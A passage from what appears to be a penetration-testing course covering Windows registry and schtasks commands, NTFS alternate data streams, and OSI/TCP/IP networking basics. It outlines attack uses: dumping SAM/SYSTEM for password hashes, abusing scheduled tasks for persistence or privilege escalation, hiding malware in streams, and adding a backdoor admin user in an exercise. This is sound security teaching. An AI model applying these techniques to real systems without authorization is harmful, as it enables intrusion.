Listing 33 shows that the RunOnce value is
set to empty. HKCU contains a single value for Run, "OneDrive.exe".
This allows OneDrive to start on login. The second column of the
output contains the string "REG_SZ". This column is used to indicate
the data type of the given value. For example, REG_SZ identifies a
null-terminated string, which means that the value should be text.
Next, let's use reg to remove the "OneDrive.exe" value from
the HKCU Run key.
C:\>reg delete hkcu\software\microsoft\windows\currentversion\run /va
Delete all values under the registry key HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run (Yes/No)? yes
The operation completed successfully.
C:\>reg query hkcu\software\microsoft\windows\currentversion\run
C:\>
Listing 34 - Using reg delete
In listing 34, we use the /va option
to remove all values from the indicated key. Note that reg asks us
to explicitly confirm the deletion. Always make sure to double and
triple-check when modifying the registry.
Similarly, we can use the reg add subcommand to add values to
a key. We can give OneDrive.exe its rightful startup functions again
by adding it back to the HKCU Run key:
C:\>reg add hkcu\software\microsoft\windows\currentversion\run /v OneDrive /t REG_SZ /d "C:\Users\Offsec\AppData\Local\Microsoft\OneDrive\OneDrive.exe"
The operation completed successfully.
C:\>reg query hkcu\software\microsoft\windows\currentversion\run
HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run
OneDrive REG_SZ C:\Users\Offsec\AppData\Local\Microsoft\OneDrive\OneDrive.exe
C:\>
Listing 35 - Using reg add
In Listing 35, we use the /v option to
name the value, /t to specify its data type, and /d
to supply the data. We can also use reg add to create a completely
new key.
Finally, let's cover the concept of exporting keys. We can save an
entire key or hive to a file with the reg export command:
C:\>reg export hkcu\environment environment
The operation completed successfully.
C:\>type environment
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\environment]
"Path"=hex(2):25,00,55,00,53,00,45,00,52,00,50,00,52,00,4f,00,46,00,49,00,4c,\
00,45,00,25,00,5c,00,41,00,70,00,70,00,44,00,61,00,74,00,61,00,5c,00,4c,00,\
6f,00,63,00,61,00,6c,00,5c,00,4d,00,69,00,63,00,72,00,6f,00,73,00,6f,00,66,\
00,74,00,5c,00,57,00,69,00,6e,00,64,00,6f,00,77,00,73,00,41,00,70,00,70,00,\
73,00,3b,00,00,00
"TEMP"=hex(2):25,00,55,00,53,00,45,00,52,00,50,00,52,00,4f,00,46,00,49,00,4c,\
00,45,00,25,00,5c,00,41,00,70,00,70,00,44,00,61,00,74,00,61,00,5c,00,4c,00,\
6f,00,63,00,61,00,6c,00,5c,00,54,00,65,00,6d,00,70,00,00,00
"TMP"=hex(2):25,00,55,00,53,00,45,00,52,00,50,00,52,00,4f,00,46,00,49,00,4c,00,\
45,00,25,00,5c,00,41,00,70,00,70,00,44,00,61,00,74,00,61,00,5c,00,4c,00,6f,\
00,63,00,61,00,6c,00,5c,00,54,00,65,00,6d,00,70,00,00,00
C:\>
Listing 36 - Using reg export
In Listing 36, we export the
HKEYCURRENT_USER\environment key to a file, and then output
its contents with type. A close look reveals that this key
contains three values expressed in _hexadecimal: Path, TEMP,
and TMP. Once we have exported a key, we can import it later or to
another machine with the reg import subcommand.
Hexadecimal is an important numerical system that is explored
in the Cryptography Module.
This is crucial from a security perspective, because depending on
the configurations and permissions of a machine, we may be able to
extract user password hashes by exporting the SAM and SYSTEM keys.
Windows has security mechanisms in place that prevent these keys from
being accessed while a machine is running, but in some circumstances,
these can be bypassed. A demonstration of these techniques is beyond
the scope of this Module. For now, we want to understand that the
Registry provides a wide and abundant attack surface that can allow an
attacker read and write capacities on extremely sensitive information.
This Learning Unit covers the following Learning Objectives:
The Windows Task Scheduler[150] allows us to schedule
computer programs or scripts to run at pre-defined times or upon
certain triggers. The scheduler has functionality that is similar
to cronjobs on Linux. As with the Registry, Windows comes with both
graphical and textual methods of interacting with the scheduler.
For our purposes, we'll focus on the CLI tool schtasks to continue
gaining proficiency and practice.
The schtasks command replaces the now deprecated at command. Let's
try running schtasks with the /? option to the
obtain usage information:
C:\>schtasks /?
SCHTASKS /parameter [arguments]
Description:
Enables an administrator to create, delete, query, change, run and
end scheduled tasks on a local or remote system.
Parameter List:
/Create Creates a new scheduled task.
/Delete Deletes the scheduled task(s).
/Query Displays all scheduled tasks.
/Change Changes the properties of scheduled task.
/Run Runs the scheduled task on demand.
/End Stops the currently running scheduled task.
/ShowSid Shows the security identifier corresponding to a scheduled task name.
/? Displays this help message.
Examples:
SCHTASKS
SCHTASKS /?
SCHTASKS /Run /?
SCHTASKS /End /?
SCHTASKS /Create /?
SCHTASKS /Delete /?
SCHTASKS /Query /?
SCHTASKS /Change /?
SCHTASKS /ShowSid /?
Listing 37 - Checking schtasks usage information
In Listing 37, we note that we can perform
several functions related to scheduling tasks, including creating,
deleting, changing, and even running tasks.
We can run schtasks /query or simply schtasks with
no arguments to view a list of all currently scheduled tasks:
C:\>schtasks
Folder: \
TaskName Next Run Time Status
======================================== ====================== ===============
MicrosoftEdgeUpdateTaskMachineCore 2021-06-06 8:12:08 AM Ready
MicrosoftEdgeUpdateTaskMachineCore1d6c13 2021-06-05 10:08:35 PM Ready
MicrosoftEdgeUpdateTaskMachineUA 2021-06-05 11:38:35 AM Ready
OneDrive Standalone Update Task-S-1-5-21 2021-06-05 9:49:31 PM Ready
...
Listing 38 - Viewing currently scheduled tasks
To create a new task, we can use the /create option:
C:\>schtasks /create /?
SCHTASKS /Create [/S system [/U username [/P [password]]]]
[/RU username [/RP password]] /SC schedule [/MO modifier] [/D day]
[/M months] [/I idletime] /TN taskname /TR taskrun [/ST starttime]
[/RI interval] [ {/ET endtime | /DU duration} [/K] [/XML xmlfile] [/V1]]
[/SD startdate] [/ED enddate] [/IT | /NP] [/Z] [/F] [/HRESULT] [/?]
Description:
Enables an administrator to create scheduled tasks on a local or
remote system.
Parameter List:
/S system Specifies the remote system to connect to. If omitted
the system parameter defaults to the local system.
/U username Specifies the user context under which SchTasks.exe
should execute.
/P [password] Specifies the password for the given user context.
Prompts for input if omitted.
/RU username Specifies the "run as" user account (user context)
under which the task runs. For the system account,
valid values are "", "NT AUTHORITY\SYSTEM"
or "SYSTEM".
For v2 tasks, "NT AUTHORITY\LOCALSERVICE" and
"NT AUTHORITY\NETWORKSERVICE" are also available as well
as the well known SIDs for all three.
/RP [password] Specifies the password for the "run as" user.
To prompt for the password, the value must be either
"*" or none. This password is ignored for the
system account. Must be combined with either /RU or
/XML switch.
/SC schedule Specifies the schedule frequency.
Valid schedule types: MINUTE, HOURLY, DAILY, WEEKLY,
MONTHLY, ONCE, ONSTART, ONLOGON, ONIDLE, ONEVENT.
/MO modifier Refines the schedule type to allow finer control over
schedule recurrence. Valid values are listed in the
"Modifiers" section below.
/D days Specifies the day of the week to run the task. Valid
values: MON, TUE, WED, THU, FRI, SAT, SUN and for
MONTHLY schedules 1 - 31 (days of the month).
Wildcard "*" specifies all days.
/M months Specifies month(s) of the year. Defaults to the first
day of the month. Valid values: JAN, FEB, MAR, APR,
MAY, JUN, JUL, AUG, SEP, OCT, NOV, DEC. Wildcard "*"
specifies all months.
/I idletime Specifies the amount of idle time to wait before
running a scheduled ONIDLE task.
Valid range: 1 - 999 minutes.
/TN taskname Specifies the string in the form of path\name
which uniquely identifies this scheduled task.
/TR taskrun Specifies the path and file name of the program to be
run at the scheduled time.
Example: C:\windows\system32\calc.exe
/ST starttime Specifies the start time to run the task. The time
format is HH:mm (24 hour time) for example, 14:30 for
2:30 PM. Defaults to current time if /ST is not
specified. This option is required with /SC ONCE.
/RI interval Specifies the repetition interval in minutes. This is
not applicable for schedule types: MINUTE, HOURLY,
ONSTART, ONLOGON, ONIDLE, ONEVENT.
Valid range: 1 - 599940 minutes.
If either /ET or /DU is specified, then it defaults to
10 minutes.
/ET endtime Specifies the end time to run the task. The time format
is HH:mm (24 hour time) for example, 14:50 for 2:50 PM.
This is not applicable for schedule types: ONSTART,
ONLOGON, ONIDLE, ONEVENT.
/DU duration Specifies the duration to run the task. The time
format is HH:mm. This is not applicable with /ET and
for schedule types: ONSTART, ONLOGON, ONIDLE, ONEVENT.
For /V1 tasks, if /RI is specified, duration defaults
to 1 hour.
/K Terminates the task at the endtime or duration time.
This is not applicable for schedule types: ONSTART,
ONLOGON, ONIDLE, ONEVENT. Either /ET or /DU must be
specified.
/SD startdate Specifies the first date on which the task runs. The
format is yyyy/mm/dd. Defaults to the current
date. This is not applicable for schedule types: ONCE,
ONSTART, ONLOGON, ONIDLE, ONEVENT.
/ED enddate Specifies the last date when the task should run. The
format is yyyy/mm/dd. This is not applicable for
schedule types: ONCE, ONSTART, ONLOGON, ONIDLE, ONEVENT.
/EC ChannelName Specifies the event channel for OnEvent triggers.
/IT Enables the task to run interactively only if the /RU
user is currently logged on at the time the job runs.
This task runs only if the user is logged in.
/NP No password is stored. The task runs non-interactively
as the given user. Only local resources are available.
/Z Marks the task for deletion after its final run.
/XML xmlfile Creates a task from the task XML specified in a file.
Can be combined with /RU and /RP switches, or with /RP
alone, when task XML already contains the principal.
/V1 Creates a task visible to pre-Vista platforms.
Not compatible with /XML.
/F Forcefully creates the task and suppresses warnings if
the specified task already exists.
/RL level Sets the Run Level for the job. Valid values are
LIMITED and HIGHEST. The default is LIMITED.
/DELAY delaytime Specifies the wait time to delay the running of the
task after the trigger is fired. The time format is
mmmm:ss. This option is only valid for schedule types
ONSTART, ONLOGON, ONEVENT.
/HRESULT For better diagnosability, the process exit code
will be in the HRESULT format.
/? Displays this help message.
Modifiers: Valid values for the /MO switch per schedule type:
MINUTE: 1 - 1439 minutes.
HOURLY: 1 - 23 hours.
DAILY: 1 - 365 days.
WEEKLY: weeks 1 - 52.
ONCE: No modifiers.
ONSTART: No modifiers.
ONLOGON: No modifiers.
ONIDLE: No modifiers.
MONTHLY: 1 - 12, or
FIRST, SECOND, THIRD, FOURTH, LAST, LASTDAY.
ONEVENT: XPath event query string.
...
Listing 39 - Checking schtasks /create help
Listing 39 demonstrates that schtasks is quite
flexible, particularly due to the presence of several options. /SC
allows us to set the tasks frequency not only based on a specific time
interval but also based on a particular trigger.[151]
Examples of triggers include when the machine starts when a user
logs on, or when a particular event occurs. /MO allows us to lend
additional precision to time-based triggers. We can see all allowed
modifiers at the bottom of the listing.
As an example, let's imagine we wish to run a binary called
runme.exe every Monday at 9:00AM:
C:\>schtasks /create /sc weekly /d mon /tn runme /tr C:\runme.exe /st 09:00
SUCCESS: The scheduled task "runme" has successfully been created.
Listing 40 - Creating a new scheduled task
We can then delete the task as follows:
C:\>schtasks /delete /tn runme
WARNING: Are you sure you want to remove the task "runme" (Y/N)? y
SUCCESS: The scheduled task "runme" was successfully deleted.
Listing 41 - Deleting the scheduled task
Let's recreate that scheduled tasks and run some additional commands
against it to get a better understanding of the functionality of
schtasks.
C:\>schtasks /create /sc weekly /d mon /tn runme /tr C:\runme.exe /st 09:00
SUCCESS: The scheduled task "runme" has successfully been created.
Listing 42 - Recreating the new scheduled task
Now that the task is created we can use the query parameter
and the /fo LIST parameter to output the results in a list.
C:\>schtasks /query /TN runme /fo LIST
Folder: \
HostName: WINDOWS-03
TaskName: \runme
Next Run Time: 6/06/2021 9:00:00 AM
Status: Ready
Logon Mode: Interactive only
There are plenty of wonderful resources available to learn about
additional parameters that allow you to work on remote computers, run
a task with the permissions of a different users. You can also adjust
the output as a table, list or csv, or adjust formatting to remove
column headings or provide more verbose output.[152]
The task scheduler provides some powerful automation tools for a
legitimate user, but it also represents a versatile attack vector.
If we obtain sufficient permissions on a machine, we can use our
access to schedule repetitive malicious actions. If the machine
is misconfigured, we might even be able to elevate our permissions
by using the /RU option to run a task under the context of a
other users (for example, Administrator), in combination with the
/SC option to set a predictable trigger (for example, when the
Administrator logs in).
This Learning Unit covers the following Learning Objectives:
In this section, we'll go over how to interact with the Windows
New-Technology File System (NTFS)[153] and
specifically how to use disk utilities to obtain drive information.
We'll then learn the concept of alternate data streams.
The Windows NTFS file system is more complex than Unix-based
equivalents. According to Microsoft, NTFS provides increased
reliability, flexibility, and security compared to its predecessor,
FAT32.[154] A detailed exposition of the file system is
beyond the scope of this Module. Instead, we'll focus on a few default
tools and some Sysinternals tools that we can use to retrieve helpful
information about disk usage.
In terms of built-in utilities, Windows comes with the
fsutil[155] set of programs that can manage drives. We
can see the full list of tools included in the suite by invoking the
command with no parameters:
C:\>fsutil
---- Commands Supported ----
8dot3name 8dot3name management
behavior Control file system behavior
dax Dax volume management
dirty Manage volume dirty bit
file File specific commands
fsInfo File system information
hardlink Hardlink management
objectID Object ID management
quota Quota management
repair Self healing management
reparsePoint Reparse point management
storageReserve Storage Reserve management
resource Transactional Resource Manager management
sparse Sparse file control
tiering Storage tiering property management
transaction Transaction management
usn USN management
volume Volume management
wim Transparent wim hosting management
Listing 43 - Viewing the fsutil commands
Many of the terms in Listing 43 may sound somewhat
arcane at this point. We do not need to go into great detail for our
purposes and will focus on a few subcommands.
Note that the /? option does not work with fsutil.
Instead, we'll need to reference a particular subcommand with no
additional arguments to understand what it does. Let's begin with
fsutil fsinfo, which can provide specific drive information.
Typing fsutil fsinfo without any arguments will provide a
third layer of subcommands:
C:\>fsutil fsinfo
---- FSINFO Commands Supported ----
drives List all drives
driveType Query drive type for a drive
ntfsInfo Query NTFS specific volume information
refsInfo Query REFS specific volume information
sectorInfo Query sector information
statistics Query file system statistics
volumeInfo Query volume information
Listing 44 - Viewing the fsutil fsinfo commands
We can find all the drives on our machine with the drives
subcommand:
C:\>fsutil fsinfo drives
Drives: C:\ F:\ Z:\
Listing 45 - Listing out drives
In Listing 45, we observe that there are three
drives mounted on this machine. Let's examine the individual drives
with the drivetype subcommand:
C:\>fsutil fsinfo drivetype C:
C: - Fixed Drive
C:\>fsutil fsinfo drivetype F:
F: - CD-ROM Drive
C:\>fsutil fsinfo drivetype Z:
Z: - Fixed Drive
Listing 46 - Listing out drive types
Listing 46 tells us that the C: and Z: drives are
fixed to the machine, whereas the F: drive is a removable CD-ROM
drive. To retrieve more extensive information about the drives we can
use the volumeinfo subcommand:
C:\>fsutil fsinfo volumeinfo C:
Volume Name :
Volume Serial Number : 0x51324363
Max Component Length : 255
File System Name : NTFS
Is ReadWrite
Not Thinly-Provisioned
Supports Case-sensitive filenames
Preserves Case of filenames
Supports Unicode in filenames
Preserves & Enforces ACL's
Supports file-based Compression
Supports Disk Quotas
Supports Sparse files
Supports Reparse Points
Returns Handle Close Result Information
Supports POSIX-style Unlink and Rename
Supports Object Identifiers
Supports Encrypted File System
Supports Named Streams
Supports Transactions
Supports Hard Links
Supports Extended Attributes
Supports Open By FileID
Supports USN Journal
Listing 47 - Listing out information about the C: drive
Listing 47 confirms that our C: drive is indeed
formatted for NTFS, and provides us with a broad overview of its
properties.
While fsinfo and more generally, fsutil both have plenty of other
subcommands and functions, they do not tend to be needed for learning
the initial basics of penetration testing or security. We encourage
you to review Microsoft's documentation if you are further interested
in this broad subject.
During a security assessment, we might want a quick way of viewing
disk usage via the command-line. Windows doesn't come with Linux's
du[156] command for estimating file space usage,
but Sysinternals[157] does provide its own
implementation. We can use du.exe to report on disk usage:
C:\Users\Offsec\Downloads\SysinternalsSuite>du
DU v1.62 - Directory disk usage reporter
Copyright (C) 2005-2018 Mark Russinovich
Sysinternals - www.sysinternals.com
usage: du [-c[t]] [-l <levels> | -n | -v] [-u] [-q] <directory>
-c Print output as CSV. Use -ct for tab delimiting.
Use -nobanner to suppress banner.
-l Specify subdirectory depth of information (default is one level).
-n Do not recurse.
-q Quiet.
-nobanner
Do not display the startup banner and copyright message.
-u Count each instance of a hardlinked file.
-v Show size (in KB) of all subdirectories.
CSV output is formatted as:
Path,CurrentFileCount,CurrentFileSize,FileCount,DirectoryCount,DirectorySize,DirectorySizeOnDisk
Listing 48 - Viewing du usage information
To view the usage of a particular drive, we provide it as input to
du:
C:\Users\Offsec\Downloads\SysinternalsSuite>du c:
DU v1.62 - Directory disk usage reporter
Copyright (C) 2005-2018 Mark Russinovich
Sysinternals - www.sysinternals.com
Files: 162
Directories: 1
Size: 109,852,612 bytes
Size on disk: 110,185,248 bytes
Listing 49 - Checking C: disk usage
A close inspection of Listing 49 will reveal that
the actual Size of our disk usage is somehow lower than the drive's
Size on disk. This latter attribute represents the total number of
bytes that's taken up by a file or directory; in this case, the entire
C: drive.
The reason that Size on disk can be larger than Size is that
when a file is created under NTFS, it is allocated a particular set
of clusters.[158] Even if a file takes up
X units of space, it will be allocated the full size of whatever
clusters it needs to fit inside. For a simple example, imagine that
our file system is set up to store data in 512-byte clusters. If we
create a file that takes up 500 bytes of space, it will still use up
the full 512 bytes of the cluster it is assigned to. Therefore, we
will usually lose a small amount of space on each file allocation.
We can also use du to analyze space usage of a supplied
directory:
C:\Users\Offsec\Downloads\SysinternalsSuite>du c:\users
DU v1.62 - Directory disk usage reporter
Copyright (C) 2005-2018 Mark Russinovich
Sysinternals - www.sysinternals.com
Files: 90740
Directories: 14739
Size: 84,302,189,204 bytes
Size on disk: 84,716,127,000 bytes
Listing 50 - Checking C:\users disk usage
Note again how Size on disk is greater than Size.
Let's finish this section by returning to one of the first Windows commands
we learned, dir. Now that we know a little bit more about NTFS,
we can consider the dir /R option which is useful for identifying
Alternate Data Streams (ADS).
A stream is a property of files under NTFS that essentially allows
us to store content within arbitrary sections of the file. When we
create a new file, the content is stored in the default data stream.
When we want to retrieve the contents (say, with type), we will read
from that default stream.
ADS allows files to contain multiple data streams. We can place
content in a new data stream with the :<stream> syntax
using echo:
C:\streamtest>echo fileOne uses the default stream > defaultStream.txt
C:\streamtest>echo fileTwo uses the 'offsec' stream > offsecStream.txt:offsec
C:\streamtest>type defaultStream.txt
fileOne uses the default stream
C:\streamtest>type offsecStream.txt
C:\streamtest>dir
Volume in drive C has no label.
Volume Serial Number is 523D-9369
Directory of C:\streamtest
2021-06-03 03:39 PM <DIR> .
2021-06-03 03:39 PM <DIR> ..
2021-06-03 03:38 PM 34 defaultStream.txt
2021-06-03 03:39 PM 0 offsecStream.txt
2 File(s) 34 bytes
2 Dir(s) 31,895,818,240 bytes free
Listing 51 - Experimenting with Alternate Data Streams
In Listing 51, we first create two files. The first
uses the default stream, and the second uses an arbitrary stream
that we've named offsec. When we use type to list
the contents of the files, we output defaultStream.txt
as expected, yet offsecStream.txt appears to be empty. In
addition, dir reports that offsecStream.txt contains
0 bytes of data.
This is where the /R options comes in. We can use
dir /R to view if any files in the directory make use of
alternate data streams:
C:\streamtest>dir /r
Volume in drive C has no label.
Volume Serial Number is 523D-9369
Directory of C:\streamtest
2021-06-03 03:39 PM <DIR> .
2021-06-03 03:39 PM <DIR> ..
2021-06-03 03:38 PM 34 defaultStream.txt
2021-06-03 03:39 PM 0 offsecStream.txt
35 offsecStream.txt:offsec:$DATA
2 File(s) 34 bytes
2 Dir(s) 31,939,903,488 bytes free
Listing 52 - Using dir /r to view alternate data streams
Interesting, dir still reports the total space usage to
be 34 bytes; this result does not include the 35 bytes belonging to
offsecStream.txt. We can once again use du to view
the true disk usage:
C:\Users\Offsec\Downloads\SysinternalsSuite>du c:\streamtest
DU v1.62 - Directory disk usage reporter
Copyright (C) 2005-2018 Mark Russinovich
Sysinternals - www.sysinternals.com
Files: 2
Directories: 1
Size: 69 bytes
Size on disk: 12,328 bytes
Listing 53 - Using du to check alternate data stream usage
We might expect syntax like type offsecStream.txt:offsec to
output the contents of an ADS, but unfortunately, it does not:
C:\streamtest>type offsecStream.txt:offsec
The filename, directory name, or volume label syntax is incorrect.
Listing 54 - Trying to view ADS content with type
However, we can use the more command with a similar syntax:
C:\streamtest>more < offsecStream.txt:offsec
fileTwo uses the 'offsec' stream
Listing 55 - Using more to view ADS content
Note that we had to use the "<" character in Listing
55 to pass the contents of offsecStream.txt
to standard input first, and then to redirect it to more.
This is because passing an ADS directly to more does not work
either:
C:\streamtest>more offsecStream.txt:offsec
Cannot access file C:\streamtest\offsecStream.txt:offsec
Listing 56 - Trying to view ADS content directly with more
Although ADS is leveraged by Windows and other programs for benevolent
reasons, from a security perspective, ADS is important because malware
or sensitive information can be hidden inside files. The dir /r
option as well as the Sysinternals tool streams[159]
allow us to detect ADS usage.
This Learning Unit has the following Learning Objectives:
This is a cumulative exercise that requires you to employ the
understanding and skills you have gained in the Windows Basics I & II
Modules to complete a set of objectives.
Scenario: You have gained initial access to a target Windows
machine during a penetration test. You now need to collect and
extract the user files from that box for further analysis and enable
persistence on the box in the form of adding an additional
administrative user. You've then been tasked by the client to analyze
the machine concerning some strange behavior they've noticed.
Though you have remote desktop access to the target machine, we
encourage using cmd.exe as much as possible in order to get the
most out of this exercise.
In this Module, we will cover the following Learning Units:
Each learner moves at their own pace, but this Module should take
approximately 11 hours to complete.
Computer Networks[160] are a vital part of our everyday life. It is
important for penetration testers and other security professionals
to familiarize themselves with the basic concepts and building blocks
of computer networks. This is because the act of hacking a target or
set of targets usually (though not always) begins at the only place
an attacker has access: their own remote machine. From there, they
often need to use and abuse their understanding of networks to gather
information, discover vulnerabilities and weaknesses, and ultimately
gain remote access to their target.
A solid understanding of networking can also help testers with the
administrative side of penetration testing. For example, during a
pricing and scoping meeting for a security assessment, it is essential
that the client and the tester can describe and agree upon exactly
what parts of a network should, and should not, be tested.
In this Module, we will begin with describing the OSI[161] and
TCP/IP[162] conceptual models as well as the difference between
stateful and stateless connections. We'll also spend some time on the
TCP three-way handshake concept of network traffic.
Once we've done that, we'll describe the basic concept of network
traffic and analyze packet captures[163] with tools like Wireshark
and Tcpdump.
Finally, we'll learn about useful networking technologies, including
routing tables, firewalls, Network Address Translation (NAT), and
Virtual Private Networks (VPNs).
This Learning Unit covers the following Learning Objectives:
This Learning Unit will take approximately 60 minutes.
Since networking is a fairly complex topic, it helps to distinguish
between how networks might be designed in theory versus how they are
implemented in the real world.
A network model is a conceptual framework that helps us understand
how we could organize communication between different devices.
Studying network models can give us a high-level understanding of what
computers are doing across networks even though, in practice, physical
implementations are not so clearly defined. Once we understand network
models, we can implement various network protocols,[164] which
describe how two or more entities (in this case, machines) should
communicate in practice.
There are two main reference models which describe how to connect
multiple devices. These two reference models are the OSI model
(Open Systems Interconnection) and the TCP/IP model. These
conceptual models can help security professionals understand where
different security controls are (or are not) installed.
The OSI reference model was introduced in 1983 as a standard by
the International Standards Organization (ISO). The standard is
called "ISO 7498-1" and its main purpose was to enable different
manufacturers and software companies to produce devices and programs
that can communicate with each other.
OSI defines seven "layers", where each layer is only concerned with
its immediate predecessor. At each layer, various protocols can be
defined, which establish deterministic rules for different kinds
of communication. For each layer, we'll learn about its theoretical
responsibility, a few of the activities that tend to happen on it in
practice, and its Protocol Data Unit (PDU).[165]
A PDU is the unit of information that is transmitted at a certain
layer. Note that some activities are not necessarily layer-dependent.
For example, flow control, the function of making sure information
gets to its intended destination, can be implemented at several layers
(especially layers 2 to 4).
Layer 7: At the very top of the model, the Application Layer
defines how a human or software can interact with a network. It's
important to note that the word application in this context does
not refer to programs or applications themselves, but rather
refers to how the software receives data. For example, browsing
the web and downloading emails are some of the types of activity
facilitated by the Application Layer. Information transmitted via the
Application Layer is simply referred to as data.
Layer 6: The Presentation Layer is responsible for taking the
data it receives from the layer below it, and for rearranging it so
the Application Layer can present to a user. Encrypting, compressing,
or otherwise transforming data are examples of activities that happen
on the Presentation Layer. As with the Application Layer, we refer to
information transfer on Layer 6 as data.
Layer 5: The Session Layer implements protocols that initiate,
maintain, and eventually terminate multiple different connections
between computers. These ongoing connections are often called
sessions. As the lowest of the data layers, we continue to refer to
information on this layer as data.
Layer 4: The Transport Layer is largely (but not solely)
responsible for making sure that data gets from Host A to Host B in
proper order and on time. It handles errors, makes sure that hosts
involved in the communication are aware if any data needs to be
resent, and alerts the sending host(s) if they are sending information
across the network too quickly for the receiver(s) to handle. The
Transport Layer has multiple PDUs, depending on if the protocol
involved maintains a connection between participants, or if it merely
allows one-off broadcasting.[166]
For connection-oriented (or stateful) protocols, we refer to
information units as segments, because protocols at this layer will
define ways for breaking down longer messages into smaller ones via
a process called segmentation. For connection-less (or stateless)
protocols, we call information units datagrams, which is an
amalgamation of the words "data" and "telegram".
Layer 3: The Network Layer, true to its namesake, is primarily
concerned with information traveling between two or more different
networks. Some of its functions are the routing and broadcasting of
messages, and the addressing of multiple hosts. We're already familiar
with its PDU: information at this layer are called packets.
Layer 2: The Data Link layer is tasked with transferring
information between hosts that are physically connected on the same
network. Protocols operating on Layer 2 define rules for initiating,
monitoring, and terminating communication between physically connected
machines. It performs error detection and correction for issues
that occur on the layer below it. Unlike the layers above it, OSI
defines two sub-layers within the Data Link Layer. Media Access
Control (MAC) determines how and when different devices are allowed
to communicate to each other, whereas Logical Link Control (LLC)
provides flow control and error handling functions on Layer 2. The
Data Link Layer's PDU is called a frame.
Layer 1: Finally, the Physical Layer transfers raw data
between a physical machine and a physical transmission medium (like
a wire). From a security perspective, we're often (though of course,
not always) less interested in this layer, because it deals with
the underlying physics of data transfer. It's responsible for the
transformation of digital bits into various kinds of physical
bits, like electricity, radio waves, and photons. It deals with
electrical engineering topics like cable specifications, voltage
calculations, and radio frequencies. The PDU at the Physical Layer can
be referred to as symbols or just bits.
Let's summarize what we've learned about the OSI model, this
time starting from the bottom of the stack. First, the Physical
Layer defines how physical transmission should work, usually via
electricity, radio waves, or light. Second, the Data Link Layer
defines how digital information should travel across physically
connected hosts, via the specifications defined at Layer 1. Third,
the Network Layer expresses how that information should continue
to flow across different networks. Fourth, the Transport Layer
performs quality control and makes sure information arrives on
time and in the proper order. Fifth, the Session Layer is
responsible for orchestrating connections between devices. Sixth, the
Presentation Layer transforms the data into an agreeable format.
Finally, seventh, the Application Layer determines how that data
should be sent to and from the applications in use.
Earlier, we mentioned that each layer depends solely on the
information provided to it from the layer immediately below it. This
design principle is called encapsulation.
Encapsulation can be thought of as a spaceship launching from Earth
into orbit. When it starts its journey, it contains many parts whose
only purpose is to propel and safeguard the rest of the rocket. As it
travels, it drops the parts that it no longer needs, so that by the
time it arrives at its destination, only the most essential components
remain. At each stage of its journey, we can think of the rocket
containing an engine, which moves the rocket, and a payload, where
the latter is simply the next engine in the journey. This remains true
until the final stage, where the "true" payload is finally delivered
(passengers, cargo, etc.).
Similarly, the OSI model expects data to travel up the various layers
via encapsulation. Each layer contains descriptions of information
at the next layer as well as the intended message itself.
This Learning Unit covers the following Learning Objectives:
This Learning Unit will take approximately 55 minutes.
Where the OSI describes a highly theoretical model of inter-networked
communication, the TCP/IP model more significantly resembles actual
communication on today's Internet.[167] It's important to remember
while discussing the TCP/IP model that it is still only a model.
Actual implementation of protocols can be more complex and messy than
the model describes. Make sure to keep this in mind, because TCP/IP
relies on terms like TCP and IP, which are themselves the names of
actual protocols.
Since TCP/IP is the closest model to the actual Internet, it's helpful
to understand how it came to exist. It is the result of a research
project funded by the United States Department of Defense (DoD).
DoD's research agency is called Defense Advanced Research Projects
Agency (DARPA), and DARPA established ARPANET,[168] the first
wide-area packet-switching network. The first computers were connected
in 1969 and the network was declared operational in 1975. After that,
DARPA started to work on a protocol that enabled multiple separate
networks to connect in a network of networks.
In March 1982, DOD declared TCP/IP as the standard for all military
computer networks. ARPANET was migrated to the 4th version of TCP/IP
in January 1983. ARPANET was formally decommissioned in 1990 due
to the widespread adoption of TCP/IP. Since commercial networks and
enterprises were now linked together, there was no longer a need to
further fund military and academic networks as the backbone for the
Internet.
Compared to OSI, the TCP/IP model is less concerned with strict
encapsulation. Instead, it's primary goal is to scope or classify
communication at four different levels, so that each level does not
need to pay attention to the level below it. In other words, for
all "X", communication at level "X" can happen according to the same
defined rules, even if rules for communication at level "X - 1" have
multiple implementations available. The four levels of communication
TCP/IP attempts to isolate are between applications, between machines,
between networks, and finally within a network. Each of these levels
can be thought of as layers that roughly map to one or more layers of
the OSI model.
Layer 4: The Application Layer of TCP/IP can roughly be thought
of as analogous in function to the Application, Presentation, and
Session layers of the OSI model. It's purpose is to answer the
question "What rules should we use to determine how different pieces
software can talk to each other?" HTTP, FTP, and SMTP are examples of
protocols that live at the Application Layer.
Layer 3: The Transport Layer of TCP/IP attempts to answer the
question "What rules should we use to determine how machines should
communicate together regardless of the networks they happen to be on?"
As such, it accomplishes much of the same purpose as the OSI Transport
Layer, but it also has some functions like session termination that
would exist at the OSI Session Layer. It defines which port[169]
information should travel to/from. We'll cover ports in more detail
later on, but for now, we can think of them as virtual windows into a
machine. Different network services run on different ports, allowing
the machine to receive different kinds of network traffic. TCP and UDP
are by far the most well known protocols at Layer 3.
Layer 2: The Internet Layer is arguably one of the important
layers in understanding how the Internet is built. Its name,
after all, is what we use to call this whole enterprise of online
connectivity. The Internet Layer answers the question "What rules
should we use to define how information travels between networks?"
It's analogous to the OSI Network Layer, and is responsible for
the concept of IP Addresses. IP, IPsec, and ICMP are examples of
protocols that exist on the Internet Layer.
Layer 1: The Link Layer answers the question "What rules should
we use to define communication within the same physical network?" It
is comparable to the OSI Data Link Layer, but may also perform some
functions of the Network Layer. The TCP/IP model doesn't explicitly
define an OSI Physical Layer equivalent, because it assumes that
protocols should be mostly agnostic to the physical instantiation of
data. ARP[170] is one of the most important Link Layer protocols, and
we'll learn more about it in an upcoming unit.
This Learning Unit covers the following Learning Objectives:
This Learning Unit will take approximately 160 minutes.
In this Learning Unit, we'll dive into some of the important
TCP/IP protocols you'll be using, attacking, and defending as a
security professional.
Why is a Link Layer[171] necessary?
Networks consisting of only physical devices are vulnerable to
collisions.[172] Collisions occur when more than one device
transmits packets on a network segment at the same time. The main
purpose of this layer is to reduce collisions on the physical network.
By far, the most prominent and widespread technology used to connect
devices together on the Link Layer today is called Ethernet.
Ethernet allows us to form logical boundaries around physically
connected devices via the concept of network switches or bridges.
Switches essentially reduce the amount of machines that can collide in
a large network by dividing it up into smaller networks of networks.
Any device on the network can reach any other device's networking
interface by invoking its MAC address.
MAC addresses are constructed by concatenating six bytes (8-bit
hexadecimal numbers), for example, "11:22:33:44:55:66".
This means there are 2^48, or over 281 trillion possible MAC
